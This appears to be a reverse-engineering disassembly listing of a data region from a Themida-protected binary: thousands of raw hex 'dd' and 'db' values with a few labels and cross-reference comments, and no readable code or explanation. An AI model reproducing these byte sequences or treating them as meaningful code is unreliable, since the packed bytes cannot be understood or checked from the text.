		dd 1D042444h, 40000000h, 93EAC350h, 17F1680Dh, 4C5F0ED2h
		dd 0D924BE66h, 6A00B0h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 7CD12BC3h, 0D96D8755h, 8B06EC09h
		dd 0E42A21BDh, 6A70E607h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2359C353h, 2F1BEDDEh
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 295C82C3h, 6860Fh, 0BD030000h, 7E42631h
		dd 830F613Ch, 1EFh, 1535B589h, 0B60F07E4h, 56006AD8h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 6C3B71A6h, 0EE8284Eh, 19000000h
		db 0DAh, 6Dh, 6Eh
byte_5C3867	db 8Bh			; DATA XREF: Themida_:005857DCo
		dd 1456956Dh, 104B1BC9h, 0BA5FF93Dh, 6,	0E03EBF66h, 6AC38Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1695ADC3h, 0C91F592Dh, 0E8C15FACh, 0E2F76604h, 5F5F5352h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0BC8188C3h, 3176A44Dh, 8B151B83h,	0E431B1B5h
		dd 6810F07h, 8B000000h,	0E42035B5h, 6A5807h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D82BFBC3h
		dd 119880Fh, 8B660000h,	7B9F0h,	0B70F0000h, 318D09F1h
		dd 8307E41Bh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0AFA78C3h, 700DD781h, 3BFC1BA3h
		dd 0D8860FD9h, 0BE000000h, 0EBA21BEh, 6AD98C66h
		db 0, 56h, 0E8h
byte_5C3957	db 3			; DATA XREF: Themida_:00583DF0o
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F48EC356h, 49FA819Eh, 9589FA8Bh, 7E418A9h, 0F04C1F6h
		dd 7D84h, 698D2900h, 0FF07E40Eh, 0E42D9195h, 0B5096007h
		dd 7E41CF1h, 1C619D8Bh,	5B6107E4h, 6AC32Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DC5D86C3h
		dd 2A1A4A9Ch, 3D4E3E44h, 834h, 30860Fh,	8E0F0000h, 4, 5E5F5656h
		dd 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BF58317Dh, 0C08B96F0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BBC35545h, 8B1577A7h
		dd 6AD88BC3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0C548C356h, 44331D16h,	6AD78166h
		dd 8585C781h, 1D07E423h, 6A5C233Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D3A4C352h
		dd 6573C5BFh, 7E90Ah, 636A0000h, 3BACB7Eh, 89C08B65h, 0E426F18Dh
		dd 0E18D8907h, 8107E419h, 0E42AD5BDh, 7D007h, 2B850F00h
		dd 53000000h, 0FF5FF88Bh, 0E42AD585h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C090EF3Ah, 0B5FF84ACh, 7E42AD5h, 15158589h,	95FF07E4h
		dd 7E40E41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	62C35747h, 8B6631C2h, 78B890FAh, 1123456h, 0E42BF9BDh
		dd 779D8D07h, 0E907E816h, 0FFFFF90Ch, 25DDB58Bh, 0C18B07E4h
		dd 20B59589h, 4EB07E4h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ECC35545h
		dd 55745CFFh, 0CAF145EFh, 589BBE66h, 49BD8B50h,	5E07E41Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E3C35545h
		dd 6E963h, 8C360000h, 0BB70BC2Eh, 858DF98Bh, 7E40D85h
		dd 14810Fh, 0CE80000h, 0
		dd 0EA00D883h, 6C6C81D8h, 6073FFA9h, 0E9505E61h, 0Dh, 0DBB79594h
		dd 11454F67h, 59CAAF63h, 2404897Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 55C35141h, 858936BEh, 6850F32h
		dd 8B000000h, 0E4258DB5h, 66006A07h, 6AFA8Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h, 83D1E884h
		dd 662CCE7Bh, 858DFE8Bh, 7E81876h, 9E8h, 0CA58B600h, 727EF89Ch
		dd 8B608BB4h, 0E419C595h, 835F6107h, 0BE905C0h,	0EB000000h
		dd 947905FFh, 1FB37044h, 0F5013E3h, 1389h, 0DE800h, 669C0000h
		dd 0E409C1E7h, 37C44795h, 5E901C23h, 66240489h,	0BED7E781h
		dd 0FE9006Ah, 0A6000000h, 8C24F49Ch, 4EB7E234h,	35C66141h
		dd 890F221Ch, 0Ch, 68E0Fh, 8D290000h, 7E42CF9h,	0BD8B006Ah
		dd 7E40F3Dh, 247195FFh,	6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B129F9C3h, 6D69C59Dh
		dd 8D46807Bh, 0E7D64B9Dh, 0E1B58B07h, 0FF07E406h, 0B985FFD3h
		dd 6A07E420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0E6C5C356h, 6F71B2ACh,	2BF366F0h
		dd 0E400A5B5h, 0D26E907h, 0E80000h, 5D000000h, 1880ED81h
		dd 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 47D850C3h, 0DFBF8D11h, 850F45h, 81000000h
		dd 0E42AD5BDh, 7D007h, 3C860F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E9ABC351h, 25A4AA95h, 0D183C78Ch, 0DE9h, 0C579B400h
		dd 0AAC8134Dh, 0C2E5CF9h, 9D8B0574h, 7E43591h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F0C35040h, 0BEDCB5FCh
		dd 1746012Ch, 5E9h, 0E61B900h, 0E3817DECh, 100h, 9E8h
		dd 0D375DC00h, 0B526433Eh, 11E886CEh, 51000000h, 9E16A4EDh
		dd 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 3239BD8Bh,	5F5E07E4h
		dd 850FDB0Bh, 6Fh, 1ED5B589h, 0BD8307E4h, 7E8169Dh, 2F840F00h
		dd 8B000000h, 81B523F7h, 0E907E423h, 59h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0DCC35545h, 0ADDBD8Bh
		dd 85C707E4h, 7E8169Dh,	1, 28E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0C71EF8BCh
		dd 0E8169D85h, 7, 919D8D00h, 8107E435h,	0CFDD37DEh, 0D1B5895Dh
		dd 8107E41Bh, 0FFFEFF23h, 0E9BD8BFFh, 6607E431h, 0C681DB8Ch
		dd 611C7CD3h, 0F04C3F6h, 0BB84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BBE553Dh
		dd 0E400DDB5h, 29B52307h, 0FF07E421h, 0E42D9195h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8163065Dh, 0F8D645DEh, 9A38BF06h, 50506026h,	0EE852h
		dd 0F1020000h, 8398B409h, 9D807870h, 0C4C9E7DEh, 0CE9h
		dd 757DF500h, 0F925FBEAh, 8B7871A5h, 310F5F07h,	0AE9h
		dd 26678C00h, 27D266A1h, 5A8F7DB7h, 24048958h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 7C4E186Bh
		dd 8EEDA308h, 3F6E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A810F0E9h, 0A5EA3775h
		dd 0E78166A4h, 0B02203h, 0F61BD29h, 70E607E4h, 27858D89h
		dd 816607E4h, 0E42846CEh, 53006A71h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F148EBBh
		dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 10BDAFC3h, 2ED978BFh, 0AE8h, 0ED81BB00h
		dd 8B8A5E14h, 5672FB69h, 7B59589h, 5E5E07E4h, 29BDBD8Bh
		dd 9D8907E4h, 7E40881h,	6BAh, 0E1816000h, 2E3F554Ah, 17C59D89h
		dd 8B6107E4h, 0BDB58BC3h, 0C107E426h, 6A04E8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BB6C3h, 7E4091Dh, 6AE2F766h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 39B5C351h
		dd 81664B43h, 0F2263E7h, 0D82BF8BFh, 5F5293F5h,	6A9350h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0AA3D23C3h, 29DD9509h, 0B5FF07E4h, 7E42AD5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 95FFF98Bh
		dd 7E40E41h, 31AB58BEh,	6A00B049h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6220C356h
		dd 315B895Ch, 0E402B5B5h, 8B70E607h, 0E425CDBDh, 6A71E407h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3F21C351h, 0F613CFCh, 23283h, 0CE96000h
		dd 5E000000h, 297DACBh,	0E87CAEDFh, 8B2F2599h, 0E424C59Dh
		dd 0B60F6107h, 50006AD8h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8BC29Fh, 7E41495h
		dd 6BAh, 0A0D68100h, 8B4F7A6Ch,	51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C3B56DABh
		dd 0DF9CBF54h, 0F504E8C1h, 0EFD9D09h, 0F76607E4h, 51006AE2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8157A49Ah, 0C98F1CEh, 0D82B5E6Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0C2C35141h,	469A69D8h, 0BD2B58C9h
		dd 7E41529h, 880FD82Bh,	15Fh, 1AF78166h, 7B9DEh, 0C1830000h
		dd 5E900h, 264A0000h, 3BB0BCEEh, 40860FD9h, 89000001h
		dd 0E40E3DB5h, 0D98C6607h, 0C1F6F88Bh, 0F4840F04h, 0F5000000h
		dd 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h, 2D9195FFh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 379BCFC3h, 604D3B40h, 9E9h, 0B1CD6000h, 4C76C9F9h
		dd 81669547h, 612238D3h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0A1B589FFh, 2B07E421h
		dd 52006AC3h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 4615F4DBh, 0E9376C72h, 0Bh, 0A2663103h
		dd 6646C19Ah, 3D277779h, 834h, 45860Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E96C8BC3h, 5Bh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 91C35040h, 19CF8D21h,	8BC23E70h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F052C30h, 0C8Eh, 6840F00h, 8B000000h, 0E40B35B5h, 0A58D8907h
		dd 8B07E409h, 0FD88BC3h, 8F0FFBBFh, 6, 291BD8Bh, 85C707E4h
		dd 7E40B69h, 341EF1FBh,	0C08BFE8Bh, 0DE8h, 78D56C00h, 0BFC2182Fh
		dd 2293513Ah, 0BD8BF776h, 7E41E85h, 0D5BD815Eh,	0D007E42Ah
		dd 0F000007h, 3985h
		dd 8A0F6000h, 6, 820Fh,	0A7BF0000h, 61136039h, 2AD585FFh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0E556C4C3h, 0B5FF7FA0h, 7E42AD5h,	0B2E78166h
		dd 4195FF85h, 6A07E40Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6027C352h, 1429B523h
		dd 409007E4h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	0C9C35747h, 0F82430F0h,	0BD83F5B6h, 7E424DDh, 83840F00h
		dd 0F000000h, 0BD83F9BFh, 7E4038Dh, 73840F00h, 8B000000h
		dd 0DD95FFF1h, 6A07E424h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 4E2C352h, 0F098589h
		dd 0C00B07E4h, 40840Fh,	0FCF50000h, 4FE78D8Dh, 958907E4h
		dd 7E40FA9h, 5B8h, 9D895600h, 7E41E41h,	6AE1FF5Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 369FC356h, 323DFB22h, 0BD83036Ah, 7E42C35h, 5C840F00h
		dd 60000005h, 80CEE880h, 836100C9h, 0E4038DBDh,	840F0007h
		dd 547h, 2405B589h, 8D8D07E4h, 7E429E5h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 43C35747h, 0DA88F490h
		dd 1C5D46B6h, 79BD8Bh, 1C707E4h, 44B27C84h, 0AAF68166h
		dd 0CB018189h, 0F1499CFh, 0E81h, 8D016000h, 7E40235h, 21718D8Bh
		dd 0C76107E4h, 6B340441h, 81FCCE70h, 0D7100441h, 7E831D6h
		dd 0F1000000h, 30AE4B59h, 6A5F81D2h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0CB1988C9h
		dd 19787F3Fh, 858DBB1Bh, 7E429E5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 90BD750Eh
		dd 5841BE66h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0CB4E61C3h, 97B771EAh, 3595FF99h
		dd 6607E42Ch, 8627EF81h, 29E58D8Dh, 6A07E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 2D31D8C3h
		dd 5E8h, 74CB600h, 0B58B9F0Ch, 7E41275h, 43BF665Fh, 1C725h
		dd 0E9000000h, 12h, 0D11143DFh,	5078206Ah, 702604CBh, 6961DAE5h
		dd 41C75E61h, 4, 0FDB58B00h, 6607E40Dh,	9850D781h, 840FC00Bh
		dd 71h,	89FB8B66h, 0E42211B5h, 0E78D8D07h, 6A07E44Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 5CC2C351h, 1FC5B58Bh, 5B807E4h, 0E9000000h, 0Bh, 0C4FE940Bh
		dd 2BE909FCh, 0FFE00EADh, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 6D19C2BAh
		dd 8BE6FCEBh, 0E42755BDh, 0E58D8D07h, 6A07E429h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6647C356h, 2949ADBFh, 0E4227D9Dh, 7C01C707h,	8B44AA72h
		dd 0E41F3DBDh, 0CB018107h, 6A1499CFh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A38CC352h
		dd 41C7B111h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0ACA70A2Bh, 0E2DF267Dh
		dd 29B58900h, 8107E423h, 0D7100441h, 6E831D6h
		db 3 dup(0)
byte_5C4753	db 6Dh			; DATA XREF: Themida_:00582834o
		dd 0B80C1223h, 0B8BF66F7h, 6A5F90h, 7A5B58Bh, 858D07E4h
		dd 7E429E5h, 0B58B6060h, 7E4272Dh, 1098589h, 8B6107E4h
		dd 0E4185D85h, 89506107h, 0B70F2404h, 3595FFF2h, 8907E42Ch
		dd 0E403A9BDh, 0E58D8D07h, 0F07E429h, 8Ah, 1C700h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3011C356h, 23B1979Fh, 441C7F6h, 0
aA_6		db '`',9,'-',0
		db 0E4h, 7, 89h
		dd 0E423C185h, 0C00B6107h, 42840Fh, 95890000h, 7E40F85h
		dd 4FE78D8Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0FBFA2BC3h, 5B8h, 9BD8B00h, 0FF07E40Ah
		dd 0F98B66E1h, 65BD8952h, 5E07E42Ch, 29E58D8Dh,	1C707E4h
		dd 54CA95A5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	0C1C35343h, 0ABEB52B8h,	0BA4C5BA5h, 7E9h, 86A21A00h
		dd 0DD4E9BA8h, 0CFCB0181h, 0EEBE1499h, 0E91C9077h, 9, 4857DF41h
		dd 69D2E82Fh, 441C77Ch,	0CE5F5969h, 0BDBB73BFh,	4418157h
		dd 31D6D710h, 183DB58Bh, 6A07E4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D6C35545h,	121B58Bh, 858D07E4h
		dd 7E429E5h, 0A558589h,	0F5007E4h, 487h, 3BF6600h, 240489D9h
		dd 0FFF18B66h, 0E42C3595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0A0A2A439h
		dd 473FA352h, 0F08B666Eh, 29E58D8Dh, 6A07E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58BE0C3h
		dd 7E40E4Dh, 1C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8BA6D8C3h, 0E41CA5BDh
		dd 441C707h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A8C35141h
		dd 0E1DF7B52h, 0B748646h, 9C840FC0h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4377C353h, 0EE9EB29h, 0EF000000h, 0C29228A9h, 85EC3681h
		dd 198A1479h, 0B70F5225h, 8D8D5EFFh, 7E44FE7h, 0B8FE8B66h
		dd 5, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 14h
		dd 70C35141h, 0FFF9B70Fh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2CC5DECBh
		dd 0E943BDC8h, 9, 250B5D6Fh, 0C4912AC9h, 8DB58BC9h, 307E412h
		dd 0F2DCE9CAh, 0FA8BFFFFh, 4EBC18Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9C35242h
		dd 8B1BA34Eh, 0E41561BDh, 85858D07h, 0E907E40Dh, 14h, 0E78DC94Eh
		dd 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh,	198E0F90h
		dd 50000000h, 0F1BF6652h, 0E9310F09h, 0Ah, 6CE2D339h, 0DCE2A3C7h
		dd 585AE93Bh, 74BE6650h, 0BD8B907Fh, 7E42FEDh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 9063A4C3h, 1851BD33h, 6A07E4h, 241D8589h, 858D07E4h
		dd 7E82725h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	5FC35040h, 0C6D59A9Eh, 0D2DBD33h, 0B58B07E4h, 7E41879h
		dd 6605C083h, 65C9CE81h, 50FA8B90h, 8F0F5060h, 0
		dd 14E9605Ah, 0B4000000h, 3D2B9936h, 7AB626E2h,	0B10326E9h
		dd 0ABB93A57h, 56D87023h, 9061615Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 9CC35343h, 6E620A9Ch, 0A310B152h
		dd 0BD8B006Ah, 7E423C1h, 0B58B006Ah, 7E42A71h, 247195FFh
		dd 8D0907E4h, 7E42569h,	0D64B9D8Dh, 6A07E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 855491C3h
		dd 0BD0BD3FFh, 7E42231h, 20B985FFh, 853107E4h, 7E4089Dh
		dd 817E9h, 0E800h, 815D0000h, 0E8272FEDh, 0EE816607h, 9509509Ch
		dd 7E40185h, 2AD5BD81h,	7D007E4h, 860F0000h, 170h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F4C35343h, 0F5019556h
		dd 73566A37h, 9659D8Bh,	6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D170F2C3h, 0FFBD8C3Bh
		dd 12E927h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah
		dd 0FC4CC5BEh, 29E1B589h, 9D8907E4h, 7E40291h, 100E381h
		dd 0B5090000h, 7E431B1h, 850FDB0Bh, 0A1h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 16C35747h, 8AD06816h
		dd 0B70F5E6Dh, 0A5BD83FAh, 7E825h, 0B840Fh, 8B660000h
		dd 7AE9F2h, 0B70F0000h,	0A585C7F2h, 107E825h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2B3EC353h, 8E0F3578h, 8, 870F53h,	5E000000h
		dd 3BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0DB5A241Ah, 893F5CB8h, 0E42BE59Dh
		dd 0A585C707h, 7E825h, 66000000h, 8589F38Bh, 7E41E91h
		dd 9659D8Dh, 850F07E4h,	1, 0FF2381FCh, 6AFFFFFEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1AE6C352h, 9589305Eh, 7E40389h, 6ADB8C66h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 5C80C355h, 0ABA0D127h, 9589DA38h, 7E4192Dh, 0F04C3F6h
		dd 5284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0B9BF6646h, 9195FFE7h, 6A07E42Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0A2B7C352h, 50711681h, 4895E57h, 75B52B24h
		dd 0E907E423h, 3A2h, 0B0F38B66h, 8B70E600h, 0E41DDDBDh
		dd 8171E407h, 0ED0CF6CFh, 1DB58B1Fh, 0F07E424h,	0B589D8B6h
		dd 7E42DADh, 6BAh, 0F3B70F00h, 0F58D8957h, 5F07E41Dh, 0E8C1C38Bh
		dd 10E904h, 9A0000h, 0FF921F1Ch, 1C3AE0E2h, 16477719h
		dd 0F76667AFh, 55006AE2h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 2DCD24E3h, 0BFF98B7Eh
		dd 3D55C83Eh, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 4D45C3C3h, 0A0D01E93h, 0FE8h, 0A5E07300h
		dd 0C5B557A2h, 7E21B031h, 6240C8F9h, 54D6BF66h,	0F50935Eh
		dd 481h, 9CBF6600h, 0F505FB6h, 885h, 0F525000h,	5AF98B31h
		dd 6A9358h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 2181A7C3h, 0AD6F641Dh, 8B66DFCAh,	0E42B45B5h
		dd 0F9B50107h, 0FF07E41Fh, 0E42AD5B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 3A4243BAh, 0FCD598C6h, 2C77EF81h, 95FF38CAh,	7E40E41h
		dd 0B0F1BF0Fh, 71BD8B00h, 0E607E431h, 1CBF6670h, 6071E492h
		dd 0DE947B3h, 6D000000h, 15D8DE14h, 31321AC2h, 0F2A4C987h
		dd 0F613C61h, 23983h, 14E900h, 9FB00000h, 0C2166017h, 0D7C7A05Dh
		dd 0D7F2CA0Eh, 92105A13h, 8166795Ah, 0F52F1CFh,	6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B0F7DC3h, 0E42A69BDh, 6BA07h, 0C38B0000h, 1285BD8Bh
		dd 0E8C107E4h, 79B58B04h, 6607E40Fh, 6AE2F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A223BDC3h
		dd 0FE95035h, 54000000h, 87F8CB84h, 0EBD625D6h,	274FF94Fh
		dd 0BD0BA66Ah, 7E42A95h, 0BE66D82Bh, 0E958E8E5h, 0Dh, 0EE6B2DA8h
		dd 0A87FEFAFh, 1CDE30EAh, 0FBBF0F9Dh, 880FD82Bh, 17Eh
		dd 7B9h, 7AC68100h, 8322406Eh, 6A00C1h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 9B0D4CC3h
		dd 3BFB8B66h, 47860FD9h, 8B000001h, 0E419FDBDh,	0D98C6607h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 39C35343h
		dd 862C5B45h, 9D8B6082h, 7E4316Dh, 9DB501h, 0F86107E4h
		dd 0F04C1F6h, 0DC84h, 66F78B00h, 95FFFB8Bh, 7E42D91h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C9C35343h, 889D72D1h
		dd 0BD8915EDh, 7E414CDh, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 12E8D603h, 43000000h
		dd 838803EFh, 0C74355E0h, 4DFB1280h, 0E290C79h,	3E78124h
		dd 5E775436h, 6E9C32Bh,	0B0000000h, 0DC9EC951h,	5B12BE97h
		dd 343D3D46h, 0F000008h, 5086h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 2EBDB55Fh
		dd 70AA7903h, 2DF1B589h, 4BE907E4h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8BCDC351h, 0E41815B5h, 6AC08B07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3C6BC353h
		dd 7328C0ACh, 0B6DBD89h, 0C38B07E4h, 0C7F9D88Bh, 0E4359185h
		dd 0DEF1907h, 55006A17h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 4D8D89DFh, 0F07E40Fh, 48Bh, 45BF6600h
		dd 6AC08B63h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 73E8C350h, 7E91Eh, 6F220000h
		dd 0CA1D979Bh, 14E8AFh,	0CCD80000h, 9E763BB3h, 0E26F5313h
		dd 609708B0h, 0FCDE1096h, 0B50B1F6Bh, 7E41E29h,	0D5BD815Fh
		dd 0D007E42Ah, 0F000007h, 5C85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 5E836h, 9AF90000h
		dd 89ABF736h, 0E400FD9Dh, 85FF5F07h, 7E42AD5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 19C35242h, 0D70B1730h
		dd 899CFAB2h, 0E430ADB5h, 0D5B5FF07h, 6A07E42Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0C23C355h, 0BD8BB55Bh, 7E4278Dh, 0E4195FFh, 6A9007E4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0DB1EC357h, 9582EFBCh, 6A774E95h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 292FC350h, 0E432399Dh, 14E907h, 0FFBA0000h, 0AFA24D1Ah
		dd 0DB0685F3h, 710FFBC4h, 7CA11C22h, 6A1805h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 1F68BBC3h, 0B3BE820Eh, 4D9BD89h, 0BD8B07E4h,	7E42469h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C3C35545h
		dd 51958906h, 8107E418h, 26FBDFh, 81666032h, 614D92F2h
